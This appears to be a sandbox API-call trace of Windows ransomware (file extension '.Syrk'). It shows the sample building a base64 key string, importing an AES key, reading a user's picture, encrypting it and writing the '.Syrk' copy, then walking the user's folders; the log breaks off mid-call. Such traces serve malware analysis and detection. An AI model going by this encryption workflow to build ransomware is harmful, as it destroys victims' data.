0x20 [0245.195] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.195] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0245.195] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0245.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0245.195] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.195] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0245.195] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0245.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0245.196] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.196] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0245.196] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0245.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0245.196] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.196] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0245.196] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0245.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0245.197] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.197] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0245.197] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0245.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0245.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0245.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0245.197] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.198] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0245.198] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0245.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0245.198] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.198] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0245.198] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0245.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0245.198] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.198] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0245.198] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0245.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0245.199] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.199] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0245.199] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0245.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0245.199] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.199] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0245.199] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0245.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0245.200] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.200] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0245.200] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0245.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0245.200] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.200] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0245.200] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0245.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0245.200] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.201] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0245.201] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0245.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0245.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0245.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0245.201] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0245.202] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0245.202] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0245.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0245.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0245.202] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0245.202] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0245.202] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0245.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0245.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0245.202] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0245.203] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0245.203] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0245.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0245.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0245.203] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0245.203] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0245.203] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0245.203] EtwEventActivityIdControl () returned 0x0 [0245.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0245.203] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0245.203] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0245.203] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0245.206] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d3a8) returned 1 [0245.209] CryptImportKey (in: hProv=0x5c4d3a8, pbData=0x23bd750*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99760) returned 1 [0245.209] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.210] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.210] EtwEventActivityIdControl () returned 0x0 [0245.210] EtwEventActivityIdControl () returned 0x0 [0245.210] EtwEventActivityIdControl () returned 0x0 [0245.216] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\-lvnliwlh6qjbq7x.bmp")) returned 0x20 [0245.217] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\-lvnliwlh6qjbq7x.bmp")) returned 0x20 [0245.218] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0245.218] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", lpFilePart=0x0) returned 0x30 [0245.218] EtwEventActivityIdControl () returned 0x0 [0245.218] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.219] EtwEventActivityIdControl () returned 0x0 [0245.219] EtwEventActivityIdControl () returned 0x0 [0245.219] EtwEventActivityIdControl () returned 0x0 [0245.223] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0245.223] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", lpFilePart=0x0) returned 0x30 [0245.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0245.223] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\-lvnliwlh6qjbq7x.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0245.223] GetFileType (hFile=0x3c4) returned 0x1 [0245.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0245.224] GetFileType (hFile=0x3c4) returned 0x1 [0245.224] EtwEventActivityIdControl () returned 0x0 [0245.224] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.225] EtwEventActivityIdControl () returned 0x0 [0245.225] EtwEventActivityIdControl () returned 0x0 [0245.225] EtwEventActivityIdControl () returned 0x0 [0245.226] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0245.226] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp.Syrk", nBufferLength=0x36, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp.Syrk", lpFilePart=0x0) returned 0x35 [0245.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0245.226] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\-lvnliwlh6qjbq7x.bmp.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0245.226] GetFileType (hFile=0x454) returned 0x1 [0245.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0245.227] GetFileType (hFile=0x454) returned 0x1 [0245.227] EtwEventActivityIdControl () returned 0x0 [0245.227] CryptGenRandom (in: hProv=0x5c4d3a8, dwLen=0x10, pbBuffer=0x23ce4ac | out: pbBuffer=0x23ce4ac) returned 1 [0245.228] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.228] CryptDuplicateKey (in: hKey=0x5c99760, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c994a0) returned 1 [0245.228] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.228] CryptSetKeyParam (hKey=0x5c994a0, dwParam=0x4, pbData=0x23cf7e4*=0x1, dwFlags=0x0) returned 1 [0245.228] CryptSetKeyParam (hKey=0x5c994a0, dwParam=0x1, pbData=0x23cf7b0, dwFlags=0x0) returned 1 [0245.229] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.229] EtwEventActivityIdControl () returned 0x0 [0245.229] EtwEventActivityIdControl () returned 0x0 [0245.229] EtwEventActivityIdControl () returned 0x0 [0245.230] EtwEventActivityIdControl () returned 0x0 [0245.230] ReadFile (in: hFile=0x3c4, lpBuffer=0x23d2420, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23d2420*, lpNumberOfBytesRead=0x5a2e7d8*=0xc851, lpOverlapped=0x0) returned 1 [0245.232] CryptEncrypt (in: hKey=0x5c994a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23e6438*, pdwDataLen=0x5a2e7cc*=0xc850, dwBufLen=0xc850 | out: pbData=0x23e6438*, pdwDataLen=0x5a2e7cc*=0xc850) returned 1 [0245.233] WriteFile (in: hFile=0x454, lpBuffer=0x23ce588*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23ce588*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0245.234] WriteFile (in: hFile=0x454, lpBuffer=0x23e7424*, nNumberOfBytesToWrite=0xb864, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23e7424*, lpNumberOfBytesWritten=0x5a2e7b0*=0xb864, lpOverlapped=0x0) returned 1 [0245.235] ReadFile (in: hFile=0x3c4, lpBuffer=0x23d2420, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23d2420*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0245.235] CryptEncrypt (in: hKey=0x5c994a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23f2c94*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23f2c94*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0245.235] CryptEncrypt (in: hKey=0x5c994a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23f2cb0*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23f2cb0*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0245.235] WriteFile (in: hFile=0x454, lpBuffer=0x23ce588*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23ce588*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0245.236] CloseHandle (hObject=0x454) returned 1 [0245.238] CloseHandle (hObject=0x3c4) returned 1 [0245.238] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.238] EtwEventActivityIdControl () returned 0x0 [0245.238] EtwEventActivityIdControl () returned 0x0 [0245.238] EtwEventActivityIdControl () returned 0x0 [0245.243] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\-lvnliwlh6qjbq7x.bmp")) returned 0x20 [0245.246] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0245.246] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", lpFilePart=0x0) returned 0x30 [0245.246] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0245.246] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0245.246] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0245.246] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0245.246] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0245.247] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0245.247] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0245.247] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0245.247] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0245.247] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0245.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0245.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0245.247] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0245.247] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0245.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0245.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0245.248] GetFileAttributesW 